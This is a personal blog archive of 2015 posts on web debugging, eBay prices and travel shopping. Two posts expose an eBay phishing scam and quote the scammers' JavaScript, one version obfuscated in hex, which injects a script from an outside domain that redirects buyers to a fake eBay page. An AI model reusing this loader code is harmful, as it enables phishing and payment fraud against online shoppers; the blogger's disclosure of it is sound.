Sunday, 6 December 2015

Trying to debug

Today I was trying to debug why the menu on one of my websites wasn't dropping down on a touch event on my tablet. The first problem I had was that I needed to get the local copy of my dev site to load on my tablet. The dev site is on a VM with a NAT connection, meaning the VM is only accessible from the host machine.

So to access the dev site from my tablet, I had to open Fiddler on the host OS of the VM, and check the 'allow remote computers to connect' option on the connections tab of Fiddler's options. Then on the tablet I had to (install and) open Fiddler, then in Fiddler go to Tools > hosts, and add the IP address of the host OS machine plus the port that machine's Fiddler was listening on in for the domain(s) I wanted to test. (See here: Using port number in Windows host file).

With that done, a request on the tablet is routed through Fiddler on the tablet. This then routes the request (as per the line(s) added to the Fiddler specific hosts file) to Fiddler on my PC. Fiddler on my PC then routes the request to my VM (as per the Windows hosts file on my PC). And then the server on my VM will receive and can respond to the request.

When I had the site accessible, I could start debugging it. However, debugging on the tablet is pretty terrible. The developer tools window is really cramped and doesn't play nice with the on screen keyboard. I found the issue was that none of the touch support feature detection checks in doubleTapToGo.js were passed by MS Edge. Unfortunately I couldn't find an easy solution, e.g. see Touch API (e.g. touchstart) not working in MS Edge.

I did notice that onmsgesturestart exists in window, and possibly this can be used instead. However, debugging / using the console on the tablet is just too difficult. So I'm currently waiting for the Edge VM image to download. Of course, that doesn't mean I can avoid having to do any debugging on the tablet. But I can at least use the Edge VM to check whether onmsgesturestart is triggered by the mouse or not before trying to use it for touch detection.

Another possibility may be checking if a hover state has been triggered when a pointerDown event occurs. But I'll need to do some testing to see whether that would work at all or not.

Edit 2015-12-07: After doing some testing, Edge doesn't seem to fire the touchStart or MSGestureStart events on touch. However, the solution to the specific doubletaptogo.js problem I was having is quite simple, and actually detailed on the doubletaptogo.js web page: simply add aria-haspopup="true" to any anchors that have a submenu that should display on hover.

Sunday, 27 September 2015

Random rubbish

I received an email from 7dayshop today advertising an LED headlight with 43% off and a camera shoulder bag with 40% off. I'm interested in the headlight as I'll very likely need to do some walking in the dark / dim light when on holiday soon. I do already have an LED headlight, but if this one was quite a bit brighter (the ad made a point of how bright it was), then it could be worth getting. The light was advertised as being 160 lumens bright, the question was, what is the lumen rating of my current headlight?

I couldn't any info where the product image exactly matched my headlamp, but the nearest I found was this one, which gives the rating as 140 lumen. Assuming the DX and 7dayshop lumen ratings are both accurate, then there wouldn't be much point me spending more money for a slightly brighter headlamp with no zoom control.

The camera bag I'm also interested in. A shoulder bag makes it quite easy to switch lenses. On the other hand, it makes it more difficult getting onto small bus seats when you're also wearing a backpack. I do have a shoulder bag, but it's in pretty bad condition. I found some reviews of the 7dayshop bag, Amazon being the best resource. The reviews all seem to be positive.

However, there are plenty of other similar bags with lots of good reviews, e.g. Bestek BTDB01. That particular bag is £2 more than the 7dayshop bag (£26 vs £24), but sold as being waterproof. Of course, it may be that the 7dayshop bag is just as waterproof, but also includes a rain cover for heavier shower protection. I prefer the sizing of the Bestek bag too (not as tall but slightly longer). From the reviews on the Bestek bag, it seems like £26 is the standard selling price, rather than 7dayshop's 'special' price for their bag. So there's no 'urgency' in getting a bag. (Unless I want it in time for my holiday).

Monday, 7 September 2015

Stats checking

Well, despite what I said yesterday, today was actually that super fun monthly event known as website stats checking day. So I was mainly just doing that. Though in the evening I watched Prometheus with Billesden.

When checking my website error logs, I found three errors that looked like potential true errors. One was to do with an undefined index when posting to xml-rpc on a WP site. I don't use this myself, so it would have been a spam bot / hacker request. But still, there shouldn't be an undefined index. When I checked the particular site, the WP version was out of date. So I just updated WP, and I'll wait and see if the same error appears in the logs next month.

The next error was PHP Fatal error: Call to undefined function get_header() in /wp-content/themes/twentyten/404.php on line 10. According to this post: How to fix the “PHP Fatal error: Call to undefined function get_header()” error in WordPress, the error is when the file is called directly in the browser, since WP is not loaded when calling the theme file directly. That makes sense, and also means it's an error not worth fixing in my opinion. Only hackerbots are likely to be calling that file directly.

The final error was an upstream response is buffered to a temporary file (file name) while reading upstream. There's a good article here: Nginx FastCGI response buffer sizes. I've removed the logs from the web server and my dev environment, so I can't run the average / max request size commands they suggest in their article, so I'll have to do that next month. However, I'm fairly confident that I have the buffer size set to a sensible amount already, as the upstream response buffer error messages were all for /feed/, which is a much larger size (the last 10 posts in full I think) than any other page on the site.

Sunday, 6 September 2015

Buying a pair of underpants for £30

Today I was trying to buy stuff I'll need for my trip to see Mauser next month. I looked into washing my waterproof stuff, and found that quite a few people recommend soap flakes for washing waterproof clothes. Apparently standard detergent can mess up the waterproofing, so it doesn't work properly. So you need to use soap flakes instead, and there doesn't seem to be any benefit (based on people's reports) of using Nikwax Tech Wash over soap flakes.

Soap flakes (or the Dripak Liquid Soap Flakes mentioned in that thread) are quite a bit cheaper than Nikwax Tech Wash. Another thing that thread taught me is that while washing in soap / Nikwax Tech Wash won't do any harm to the waterproofing, you still need to use a proofer as well every so often to add water repelency back into a fabric's surface.

Thinking about washing my clothes while away, I thought maybe it might make sense to take a box of soap flakes with me. After all, some of my clothes are wool, and others waterproof, so it makes sense to be able to wash them 'properly' while away.

Then, thinking about it more, I wondered if you could just wash your clothes (or at least some of them) in the sink at the hotel using standard soap. And according to this thread: Is there any reason not to do laundry with bar soap? you can. In the thread are mentioned two general purpose soaps, which the posters say are good for washing yourself and your clothes - Aleppo soap and Marseilles soap.

I thought that if I could take a bar of soap instead of a can of shaving foam, that would save some space. I also hadn't thought previously of bringing soap to wash with, but that likely will be needed in at least one of the places where I'll be staying. So I looked into whether Aleppo and Marseilles are any good for shaving with. I found a few threads where people said they were very smooth and good for your skin, but didn't give a good lather. A few people seemed to like them, but most didn't due to the lack of lather.

The best thing then, seemed to buy some and try it out to see how it works. If it works well, then I can take it with me instead of the shaving gel, if not, then I'm out a few quid compared to a bar of standard soap. I found a seller on eBay selling Aleppo and a range of other soaps at a reasonable price. But they didn't give any weights or sizes on the page, so it's difficult to tell how big the bars are. So I'm waiting for them to get back to me.

I decided that even with a bar of all purpose soap, I'll still need some laundry soap flakes for when I need to do a larger laundry load (or if something gets quite dirty). Looking at the dimensions of a box of soap flakes, it seemed that the volume was much more than the liquid soap flakes for the same number of washes. (Even after taking a couple of inches off the box dimensions to allow for oversized packaging).

The liquid soap flakes were also cheaper than the boxed, so I decided to go for the liquid. I'll see what it's like when it arrives, but I may well decide to put some of it in an old coke bottle for taking with me. It depends how sturdy the bottle it comes in seems (on Amazon some people had left reviews saying their's arrived with a broken cap and a small amount leaked out).

With regard to the title of this post, I bought some stupidly expensive boxers for £25 + £5 P&P. Unfortunately that seems the cheapest this particular 'model' is available in the UK. According to the reviews they are extremely comfy, breathable, and you can wash them in the sink before you go to bed and they'll be dry in the morning.

Ideally then, you'd have a couple of pairs, and you can just keep swapping between them every day. I can't afford to spend that kind of money for two pairs, and I'm not going to risk taking only one pair and trying to wash them overnight every day. But hopefully it should mean the need to take less underwear, and free up some more space and weight in my bag.

When I'd got my shopping done (actually I still have quite a few more things left I need to buy, but they need to wait), I had a look at buying a korail pass. I was thinking of a 7 day pass, but when I was trying to decide the dates, I realised that doesn't leave me many days of 'local' exploration. (No point having a 7 day rail pass and not using it). The 7 day pass, however, costs about 1 more day than the 5 day pass. So I can't really decide which one to go for, and what dates to go for.

I think I'm going to have to try and plan my trip a bit more so I have ideas on what / where I'm going to go each day. Then I can find out how much train / bus tickets would be without the pass, and how long / what dates it should be (and even if it's worth getting one at all). And I'll also need to do the same for my Japan rail pass.

Thursday, 3 September 2015

Stan Dingup

This morning I was cutting out pog images in Photoshop. Then for about half an hour before lunch, and most of the rest of the afternoon, I was cutting up plums. We now have no room left in freezer, and there's still lots of plums left on the tree. We have two 2 litre ice creams tubs, two other tubs, and one small (0.5 litre I guess) tub filled with plums in the freezer now. (I was stood at the sink while cutting the plums up, hence the title of this post).

Cutting them up wasn't that quick as the stones didn't come away from the flesh and had to be cut out. I also cut out red bits that were presumably where a little wasp grub had been. Almost every plum had at least one of these, usually just below the stone, though some above the stone. Others had multiple red bits, and some were all dirty inside (presumably a different grub that eats and defecates inside the plum much more).

In the evening I watched The Incredible Hulk with Billy. Yesterday we watched Hulk, on HD-DVD as we don't have the green-ray version :(.

Wednesday, 2 September 2015

Why do eBay have an EPN feed, which is almost useless as it doesn't support CORS?!

I spent most of this morning trying to convert an eBay RSS URL generation function from PHP to JS. When I'd done, I discovered that making an AJAX request for the URL doesn't work, as eBay haven't implemented a Access-Control-Allow-Origin header to allow CORS. So all my work was wasted.

I probably should have checked that first. (Actually I think I may have tried this quite some time ago and discovered the same thing). This leaves me with not many options (which I probably discovered last time I looked at this):

Proxy requests through my own server
The js script is meant to be something that others can easily use to add ebay listings to their own site. Requiring them to configure their server to proxy requests makes it more difficult to use, not to mention slower and a drain on your server.
Get the data using PHP
This makes the script easier to use than requiring server configuration, but still not as simple as a js only solution. It requires more server resources than a simple proxy. It is also against the main reason I am writing this script - the idea is keep eBay listings on my site up to date while the pages are cached on the server. I can cache the eBay results, and then clear them every 10 minutes. But then why not instead just stick with my current solution, but ensure that pages containing eBay listings are purged from the cache every 10 minutes?
Insert the eBay Custom Banner js into a hidden div, then parse the generated HTML
This would present a js only solution (well, of course eBay's servers have to do some processing). However, it is extremely messy / hacky.
Use the eBay Developer API and JSONP
This requires that anyone wanting to use the script on their site signs up to the eBay Developers program. It allows for only 5000 requests per day.
Use a public proxy service that supports CORS
This means you're reliant on a third party service, that if hacked, could present you with malicious data. It could be unreliable or go offline forever. Speed could be an issue. Still, at the moment this seems like it may be the best solution. Or maybe allowing specifying your own proxy, but using a third party one as the default.

Tuesday, 1 September 2015

Moving a site with no movement

This morning I was testing switching one of my sites over from Apache to Nginx. After changing the 'app' handling the site in my webhost, I tested the site, but there was no style applied. I checked the page source, and when I clicked on the CSS file, got a 404.

I checked the CSS file existed, and it did. I checked the Server logs, and there was nothing in the error log for the site. In the access log it didn't mention the request for the CSS file at all! I tried requesting the CSS file again, and this time it loaded.

I can't understand how that could happen at all. The CSS file was on the same domain / subdomain as the site. It's as if the front-end web server had passed most of the requests to my nginx back end, but for the first two requests to the CSS file decided to just generate a 404. (Since the requests for the CSS file didn't seem to be hitting my nginx at all). It wasn't a cached 404 as I haven't accessed this site for ages, it wouldn't have been 404 anyway, and I cleared my cache yesterday. Just seems plain weird to me.

Monday, 31 August 2015

Chasing ghostly Hemiptera

This morning I spent quite a while trying to debug why W3TC caching wasn't working for me. In the end it turned out that Chrome was sending PHP Session ID and wordpress cookies, presumably from some old session. But why hadn't they expired?

Well, I didn't look into that, but what I was trying to find out was why my site was hit by a request including OPCONFIG_WS_URL_US when including an Amazon carousel widget in the page. (The full URL being requested was /page-widget-displayed-on/OPCONFIG_WS_URL_US/widgets/q?MarketPlace=US&Operation=GetDisplayTemplate&ServiceVersion=20070822&WS=1&ID=Carousel&panda=1).

I traced this back to the swfobject.js file being included from Amazon to show the widget. In Firefox the URL http://wms.assoc-amazon.com/20070822/US/js/swfobject_1_5.js gave a js file that contained (as well as various other code):

var de_ws_url = "OPCONFIG_WS_URL_DE";
var us_ws_url = "OPCONFIG_WS_URL_US";
var fr_ws_url = "OPCONFIG_WS_URL_FR";
var ca_ws_url = "OPCONFIG_WS_URL_CA";
var cn_ws_url = "OPCONFIG_WS_URL_CN";
var gb_ws_url = "OPCONFIG_WS_URL_GB";
var jp_ws_url = "OPCONFIG_WS_URL_JP";

But the exact same URL in Chrome gave a js file that contained:

var de_ws_url = "//ws-eu.amazon-adsystem.com";
var us_ws_url = "//ws-na.amazon-adsystem.com";
var fr_ws_url = "//ws-eu.amazon-adsystem.com";
var ca_ws_url = "//ws-na.amazon-adsystem.com";
var cn_ws_url = "//ws-cn.amazon-adsystem.com";
var gb_ws_url = "//ws-eu.amazon-adsystem.com";
var jp_ws_url = "//ws-fe.amazon-adsystem.com";

I wondered if Amazon was doing something weird like checking the UA string to see if the browser supported flash, and serving up a broken swfobject file to those that didn't support flash. But after clearing cache in FF, the file was the same as Chrome received, and so the problem was solved.

I can only guess that Amazon had some temporary problems, and FF cached the problem file, but by the time I tried it with Chrome the problem had been fixed.

Thursday, 20 August 2015

(Possibly) how eBay items have multiple bids when at their starting price

I noticed today that one of the items I was watching had two bids, but was still at the starting price. When I checked the bid history, it showed that the same bidder had bid twice, once a few days ago, and again today. So I think when this happens, it just means that the original bidder has bid again with a higher maximum bid.

Most of today (and the last few days in fact) I was just writing an article for my photo tips website.

Wednesday, 19 August 2015

Gluing a chunked video back together

Yesterday I tried downloading a replay of a video hosted on periscope. The video was delivered in the form of hundreds of chunks. After saving these files, the question was how to concatenate them back together into a single video file that I could watch later at my leisure. Quite possibly there is a full version of the video hosted at the same address the chunked files come from, but if there was, you'd need to know the filename.

I found that ffmpeg offers two different ways of concatenating video files together. Because I'm on windows, getting the list of files is rather tricky. Each chunk is named like 'chunk_38.ts'. What I ended up doing was creating a spreadsheet, and filling a cell with the first number (38 in my case), and next to this I added a cell with a formula to make the filename and output needed for ffmpeg CONCATENATE("file 'chunk_", A1, ".ts'"). Then I dragged these cells down via copy until I reached the number of the last chunk.

With that done, I copied the cells and pasted them into a plain text file. Then I just had to run the ffpmeg demuxer and point it to that file. Unfortunately this took a long time and didn't work well. I ended up with a video that said it was 2s long, but was actually much longer. But the video image stayed at the start. (I'm not sure about the audio as my sound wasn't working).

So then I tried the second ffmpeg option, which requires putting all the files into a single command. Using find and replace in the text editor, I replaced the new lines / carriage returns with the pipe character needed to separate the filenames for the ffmpeg command. But when I pasted the command into the command prompt, it was too many characters.

Looking it up, it seems there is no way to get around this limitation, the advice from MS is to modify your program so that it can read the parameters from a file rather than the command line. So I tried doing as many of the chunks as I could fit into a single command. Then I tried concatenating the result of the first concat with as many more of the chunks as I could fit into a second command. But this didn't work and I just got an error.

So I found a perl script for renaming files, and modified that to rename all of the files to just their number (with no file extension). That was the only way I could fit them all into a single command that wasn't too long for windows. I ran the command, and it created the video okay.

Today I fixed the problem with my sound card. I just had to uninstall the device, then reinstall the drivers. Why on earth it stopped working, I have no idea.

But I found that the video I created from the chunks had no sound (despite ffmpeg giving data on the total amount of audio copied to the output file as well as video). So searching the web again for another alternative way of concatenating files together in windows, I came across the copy command. Using this still had the same limits of needing the filenames to all fit within a single command. But it worked nicely, and very quickly.

So if you need to concatenate a chunked video back together in Windows, the copy command seems to be the best way to do it.

Friday, 14 August 2015

eBay maniacalty

Last Sunday, two Yamaha DD-55c electronic drum kits (one boxed) sold for £20 + £13 in separate auctions. Yet the same model sold for £51 + £9.95 P&P on Tuesday evening. And Saturday / Sunday are meant to be the best days for ending an auction and getting a high selling price!

I sold my scratched Tokina fisheye on eBay, and it ended up selling for £68.76 + £10 P&P. While the lens was scratched around the edge, it worked fine without problems for most usage - you could shoot into the sun without lens flare. The problem was mainly at night where you have lots of light sources around, this would sometimes cause flare. (The sometimes was enough of a problem for me that I decided to buy a replacement and sell this one).

The selling price seems very low to me, the lens normally sells for £300+. And another seller had listed a similar Canon EF 8-15 mm F/4 L USM Lens that has a scratched front element, but that flares when shot into the sun, and has a crack in the body, which sold for £400 + £11 P&P.

Similarly, another Canon 8-15 mm £530 + £9.80 P&P that has been scratched so if the photo is overexposed or taken against direct sunlight then the scratches will appear on one side. However this is only in certain occasions. There is also a tiny crack in the base of the lens Whereas an excellent condition boxed Canon 8-15mm sold for £560 + £10.00 P&P. So only £30 more for a version of the lens that works properly than a scratched flare inducing lens.

It seems that people are willing to bid much more for broken versions of some lenses than for others? Another good example of this is another lens that I sold. I bought a Samyang 14mm lens that was in parts, but the seller stated that all the screws and parts were included. They said that they managed to scratch the front of the lens, and had tried dismantling it to fix it, but gave up without success. I paid £30.07 + £3.30 P&P.

When I received the lens, it turned out the front element was scratched much more than I thought it was. After putting the lens back together, I tried it out and images were noticeably soft in the middle. I also had some screws left over. I listed it on eBay, with a link to a full size image showing the problem, and clearly stating the problem and that there were spare screws left over from putting it back together. Yet it sold for £165 + £20 P&P (to an overseas buyer)! With a bit of patience you could probably pick up a good condition copy of the lens for that much.

I sold a collection of photographic accessories for £3.23 + £4.50 P&P. The total value of the collection was probably more like £70 - £100. I also bought a collection of photographic accessories for £8.60 + £5.99. I then resold a couple of items from this collection, selling one for £5.00 inc. postage, and another for £12.79 inc. postage. So it seems quite clear to me now - don't sell items together as a bundle (by auction anyway), but rather split them up and sell separately.

Here are some other notable cheap / expensive items from my watch list:

  • Lot of 5x Fuji Fujinon-TV C-Mount Zoom Lens H6X12.5R f1.2 sold for £133.11 + £6.00 P&P. I'm not sure if that is a good deal or not, but I suspect it is. The description stated: For 2/3″ C-mount, focal length from 12.5mm to 72.5mm, very bright constant f1.2 aperture. Includes front and back caps as well as high quality Pentax/Cosmicar 2x teleconverters and a couple of basic plastic lens hoods.
  • Paramo Halcon Traveller jacket (large) sold for £55 + £6 P&P. The only problem with it was I have used it to walk the dog and the top left pocket has the remnants of a dog treat which although removed has caused a slight staining on the inside that I have tried to show. It is not visible on the outside. so seems like quite a good deal to me.
  • Canon EF 135 mm f/2.8 Softfocus Lens sold for £50 + £4.95 P&P. According to the description there's the piece of crud you can see on the front element... The contamination doesn't show through in any images. Even pixel peeping raw's in LR.. So probably a good deal, especially if the crud was actually just under the front element, as it could probably be removed without much trouble.
  • Camera Cross Slide Novoflex Castel Q with QR plate sold for £139.69 + £5.80 P&P, a great deal for the buyer. (Retails for $649.95 on B&H).
  • 2 Pairs ROHAN Dry Ascent Trousers - Waist 32" Regular - Slate Grey sold for £28.67 + £3.30 P&P. So that's £16 each for trousers that retailed for about £100, given the description said they were in excellent condition, sounds like a great deal to me.
  • X-Rite i1Display Pro Calibrator sold as untested, with no refund if not working, sold for £69 + £3.95 P&P. A good deal if it is working, but seems a big price to pay for the risk of getting a broken unit to me.
  • Novoflex NOFLEXAR 3,5/35 mm Macro Lens sold for US $223.01 + $12 P&P. In excellent condition, but still seems a bit pricy to me.

And of course, there were the normal bevy of items that were ended early because of 'an error in the listing' and a few items that had been sold then relisted due to non-paying bidders. (Interestingly I had a non-paying buy-it-nower).

Monday, 10 August 2015

eBay still happy to let people be scammed

I wrote back in March about eBay allowing javascript in item listings that redirects the user to a fake ebay site, and it seems that eBay are still happy to let this practice continue. I found the same thing happening to me today, after clicking through on an item I was redirected to a fake eBay site with a But it Now listing requiring bank transfer as the payment.

It was quite a good scam actually as the fake page made it look like it was from a seller that regularly sells expensive items, and has good feedback, and so would be quite trustworthy. Of course, while the actual seller on the real ebay they were pretending to be is very likely trustworthy, the fake seller most definitely would not be.

They were using a hacked account on eBay for the redirecting listing, and included the following js to do the redirection:

var az = "SC";var bz = "RI";var cz = "PT";var dz = "SR";var ez = "C=";var fz = "h"+"t"+"t";var gz = "p"+":/"+"/"+"";var gx = "b"+"u"+"l"+"l"+"k";var fz0 = "b"+"u"+"y"+"u"+"k"+"."+"c"+"o"+"m/TAB."+"J"+"S";document.write ("<"+az+bz+cz+" type='text/javascript'"+dz+ez+fz+gz+gx+fz0+">");document.write("</"+az+bz+cz+">");

Similar to the technique I posted about back in March, but this one appears to be even simpler, with the characters in plain text.

Monday, 27 July 2015

PHP as fastcgi connection timing out with apache2

Lately I have been trying to test a WordPress plugin I have been working on. Unfortunately I couldn't test it on my live server, as the build software on the webserver was too out of date to build the GeoIP apache module I needed to test with.

I thought oh well, I can at least partially test it in my local dev environment. But after getting that all set up, I kept getting timeouts when connecting to the dev site (PHP wasn't responding in time).

I tried installing the latest PHP (7 beta 2), which took about a day. (No point building the latest version of PHP without also building the latest version of its dependencies). But still the same issue!

I tried playing around with the php.ini settings, running apache with nginx off, etc. various things to try and debug the issue. Eventually I found the issue. For my PHP proxy in the Apache config I had:

<Proxy fcgi://localhost/ enablereuse=on max=10>
</Proxy>

I had copied this from a page on setting up apache with PHP running as fastcgi. I didn't know what the enablereuse=on max=10 bits actually meant. I removed them, and now it seems to be working fine.

Now I can get on with the actual testing / debugging of my script!

Friday, 3 July 2015

eBay Watchlist clean up

Yesterday I added some items to my eBay watch list, but when I later checked my watchlist, they weren't there. It seems that you can't have more than 200 items in your watchlist (I'm sure I found this out before). The problem is that when you click 'Add to Watch list' on an item, the 'Add to Watch list' link disappears, and you don't get a notification that the item wasn't added because your Watch list is full. Having said that, you don't get a message saying that the item has been added to the Watch list either, but I think it's easy to misintepret the lack of message combined with the positive action of the link being removed as meaning that the item was added to the Watch list.

Anyway, as usual, here's some info from my Watch list before I clean it up:

  • Samyang 14mm f/2.8 lens seems to sell on average for around £200 now. There have been quite a few auctions ending at less than that though (all prices including P&P):
    • Nikon Cine version £175
    • Nikon version £165
    • Canon version ended at 142EUR + postage (around £101) but didn't meet the reserve price)
    • Pentax version £131.49
    • Canon version (brand new) 255USD ~ £163.27
    • Nikon version £158
    • Canon version £123 - however although described as 'good condition' the photo of the rear element looked like it was covered in scratches
    And bear in mind that the Pentax and Nikon versions can be adapted to Canon with a £5 adapter. So if you wanted the Canon model, rather than paying £280 for the lens new from Amazon, you could have bought a second hand Pentax version plus an adapter for £136.50.
  • A Fuji 14mm lens didn't sell for £400 (inc. P&P) on Sunday evening, but one did sell on Thursday evening for £457 (inc. P&P). Yet it's generally held that Saturday and Sunday evenings are the best times to end your auctions for a good price.
  • Cokin 3 Head Detachable Flash with Filters, Manual, and Case sold for £34.90 (I think that's probably pretty cheap?)
  • Adobe Production Premium CS5 for Windows sold for £225. Seems like a pretty good deal, is a few years old now but would have been over £1000 when new, and unlike CC, you don't need to worry about keep paying to keep the software working.
  • A load of large size (72mm, 77mm, Tiffen 9) star and haze filters plus various caps sold for $1 plus postage (unfortunately postage to the UK was $35.93). Stupidly good deal for the buyer if they were in the US.
  • And of course, as usual, there were quite a few items that were withdrawn before the auction ended, presumably because the people selling didn't think the item was going to sell for as much as they wanted.
  • ROLLEI PREGO 90 AF film camera with Box, Instructions & Case sold for £14 inc P&P. I wish I'd bid a bit higher on it now.
  • HYPERKIN RETRON 3 TRIPLE SYSTEM (RED) SNES / MEGADRIVE / NES with one wireless controller, 2 SNES controllers, 3 SNES games, and 3 Mega drive games sold for £54.44. I guess that's quite a good deal?
  • Paramo Halcon Traveller - New - Large - Grey sold for £80 inc P&P - not an amazing deal, but pretty good as far as these jackets go.
  • Canon EF 500 mm f/4.0 L IS USM Lens sold for £2520 inc. P&P - very good price for this lens
  • Novoflex Castel Cross Q Macro focusing rail sold for £148.90 and £125 - both good prices for this piece of gear.
  • X-Rite i1 Display PRO sold for £92 - normally this will be in the £130+ range.
  • Zeiss 12mm for Fuji sold for £373.77 - a very good price for this lens in the UK. (In the UK it retails for around £700).

As for what I've been doing lately, I've mainly just been writing article for my photo tips website. It's currently taking me approximately a day and a half per article. For one article I really need to find a sleeping (or at least inactive) bee to photograph to illustrate the article, but I haven't been able to find any yet.

I've also been pretty hay feverish.

Wednesday, 17 June 2015

JSing

Just been doing some js work recently, so thought I'd post a few notes here for possible future reference.

The first was that I had a div that was meant to be displayed when another element was hovered over. I was doing this using mouseenter and mouseleave events. But in Safari 5.1.4 (only version I have to test on - I think it's equivalent to an old iPhone browser), this wasn't working. Inspecting the element the event was attached to, I could see the event handler had been attached correctly. But the mouseenter and mouseleave events seemed to just not be fired - the handler would not be called.

After some searching I found this question: How to emulate mouseenter and mouseleave DOM events for old browsers?, which says Unfortunately, there is a lot of browsers the wont recognize those new events... ...Safari 5.1. The solution in my case was to switch to using a combination of CSS :hover (to display the element) and mouseover (to position the element). I had to refactor my code slightly so that the element to be displayed came straight after the element that when hovered causes it be displayed. That way I could do .elThatIsHovered:hover + .elToDisplay { display: block; }.

Another thing I have been doing is refactoring some js to make it more OO. Some useful guidance on this is:

The other thing I did was implementing geo lookup based on the user's language preference set in their browser. Because the language will be something like 'en-gb', you can parse the last two chars to get the user's country. Assuming, of course, that their browser has their language set correctly. Chrome, Safari, IE, and FF all seemed to be set correctly on my PC without me having to do anything. How to get the user's preferred language is detailed here: JavaScript for detecting browser language preference.

Tuesday, 19 May 2015

Final Ethopian Emperor

Today it was quite stormy, alternating many times between sun, thick cloud, heavy rain, and hail. There was even thunder and lightning a couple of times.

The last couple of days I've been trying to fix a responsive design menu on one the sites I manage. While you'd think it should be fairly simple, the process of making the menu work well for modern browsers while still retaining a usable menu on older browsers (though not responsive) is pretty tricky. The slowness and buggy display of the android emulator certainly doesn't make the testing process quick and easy either.

Thursday, 14 May 2015

Chinglish eBay listing for a UV filter

Had too much to do lately.

Here's part of an eBay listing for 18 layers of coating pecial effect filter,W TIANYA XS-Pro 1D 40.5mm MC UV filter:

UV mirror role:

UV mirror is the most common filter, not so much that it can improve the photo effect, as it is the best digital camera lens protector in the travel process,

The wind and rain is difficult to avoid the the seemingly insignificant dust may become the delicate lens fatal killer! UV mirror role in this, not only the anti-

Ended rain or other water drops invade the lens, more importantly, can be an effective way on the lens coating is dust scratches; ultraviolet light causes color photographs

The film is blue tones, the effect of atmospheric Pan raised the black-and-white photo. UV lens filter UV, essential supplies for the landscape photographer, so go out brigade

Line, a good UV mirror is essential! (Note: UV mirror previously used to absorb UV light, but on a digital camera, this role has been cut

Weak, and now most of the human digital camera with UV lens for lens protection consider. )

For digital cameras, UV is mainly used to prevent the fingers touch the lens, dust from entering the lens. As to filter out ultraviolet function, it touches followed.

In addition, like the filters before use CPL, try to remove the UV, can reduce the occurrence of the image circle of opportunity to improve the image quality. Being on the time of the light source

, Especially in night scenes, remove the UV. Otherwise glare will be more powerful. The UV mirror can filter out ultraviolet there were no adverse image of the black-and-white and color negatives

; Can often stay in the lens as a protective mirror.

UV lens for shooting on the beach, mountains, snowfields and open area environment, can weaken due to UV-induced blue tones. At the same time for digital phase

Machine, you can also exclude ultraviolet CCD interference effect help to improve the clarity and color reproduction.

Special Note: Please buy, the corresponding lens aperture lens diameter has generally write wrong buying what caliber size shop package returned

For example: your camera lens on a 49 mm filter size the logo then buy 49 caliber, 67 to buy 67 caliber

Friday, 3 April 2015

eBay watched items clear-out

Time to clear out my eBay watched list and make note of anything of minor interest.

  • A Canon 8-15mm fisheye sold for £500 from an Italian seller, positive feedback was left so seems genuine. (Lens was new, typically sells 2nd hand for around £600).
  • Paramo Green Halcon Traveller Jacket Size Medium sold for £68.50 + £3.45 P&P. (Sells for £130 new).
  • Adobe CREATIVE SUITE 5.5 Production Premium - Windows sold for £230.36 + £6 P&P. Appears to be a genuine product, but listing stated that serials had probably already been used and the computers had been destroyed (i.e. no way to deactivate those copies). They also stated no return, so whoever bought that took a big risk.
  • Hitech 100 Reverse Grad ND0.9 Filter. Brand New sold for £30.99 + £2 P&P. Retails for £95.00 + £8 P&P new.
  • Samyang 14mm T3.1 CineLens for Canon EF sold for £144.99 + £5 P&P, but the seller never sent the item. (Usually £200-260).
  • Canon EF AF USM 200mm f/1.8 with no AF or MF and a "fairly minor scratch" on the front element sold for £775. I guess that's a good deal if the buyer could get it fixed, otherwise a rip-off.
  • Canon EF 135mm f/2.8 Prime Lens Soft Focus with hazing on one of the internal elements that results in reduced contrast sold for £63. (Normally £100+). Seems quite a lot for a lens in such a condition to me.
  • Damaged Canon EF 500mm f/4 L IS USM Lens - Spares Repairs sold for £895.99. Description was:
    CONDITION: For Parts / Repairs Only - Condition as pictured. Lens has suffered impact and liquid damage (fell onto some rocks & then into the sea). The lens glass is cracked and there is visible liquid droplets inside the lens. The housing has some chips and dents present and the lens mount is cracked / damaged (had an extender on which has snapped off when the lens was dropped and is also damaged). We have not tested the lens with a camera but considering the circumstances / condition it is most likely completely non-functional and will have internal faults and damage etc present.
    Photos showed the front element was completely smashed, though I believe the front element on this lens is actually just there for protection. So possibly you could have removed that and got back a functional lens. But given how badly smashed it was, and the information about sea water damage, I doubt it. Seems like a very high amount to pay for a lens in such bad condition to me.
  • A Sodern CERCO 94mm UV-VIS-NIR ???? was not sold for 250 USD + 33 USD P&P, but then sold later for 50 USD (same P&P). Possibly a good deal? Lens has no aperture and no guarantee that it is the UV-VIS-NIR model. Also, the images made it look like there was a black hole or disc in the middle of the lens. I'm not quite sure what that was, but it wasn't mentioned.
  • Samyang 14 mm f/2.8 UMC Aspherical IF ED Lens Nikon sold for £167.99 + £8.90 P&P. A good deal as normally sells for around £200-250.

Wednesday, 18 March 2015

eBay still allowing redirecting js in listings

Today I came across another ebay listing that redirects you to a fake ebay site, so it seems eBay still haven't fixed this problem. (Or they fixed it but the scammers have found another alternative). I guess that eBay allow js in auction listings because some sellers like to use auction widgets to show off their other items. It would be much safer if eBay just had their own widget people could use and didn't allow users to input js.

The hack looks like this, as part of the description they include the following:

<script> var _0x2786=["\x53\x43","\x52\x49","\x50\x54","\x53\x52","\x43\x3D","\x68\x74\x74","\x70\x3A\x2F\x2F","\x6C\x6F\x73\x73\x65\x72\x74\x69\x6D\x65\x2E\x63\x6F\x6D\x2F\x78\x69\x78\x6B\x6D\x73\x6E\x65\x2E\x6A\x73","\x3C","\x20\x74\x79\x70\x65\x3D\x27\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27","\x3E","\x77\x72\x69\x74\x65","\x3C\x2F"];var ya=_0x2786[0];var yb=_0x2786[1];var yc=_0x2786[2];var yd=_0x2786[3];var ye=_0x2786[4];var yf=_0x2786[5];var yg=_0x2786[6];var fy0=_0x2786[7];document[_0x2786[11]](_0x2786[8]+ya+yb+yc+_0x2786[9]+yd+ye+yf+yg+fy0+_0x2786[10]);document[_0x2786[11]](_0x2786[12]+ya+yb+yc+_0x2786[10]); </script>

Basically the script adds another script to the page. This other script then does the redirection. The text that makes up the script tag to add is split into pieces, and they've encoded the characters as unicode rather than using utf-8 / ascii. If you look at the _0x2786 array, it looks like this:

Wednesday, 4 March 2015

Good books are too expensive

I spent most of this morning trying to get one of my wordpress plugins to work with the wp super cache plugin without late init enabled. I got quite far, then realised that my plugin actually needs to call the database for one of its methods, and so wouldn't work without late init. So most of my work this morning was just scrapped.

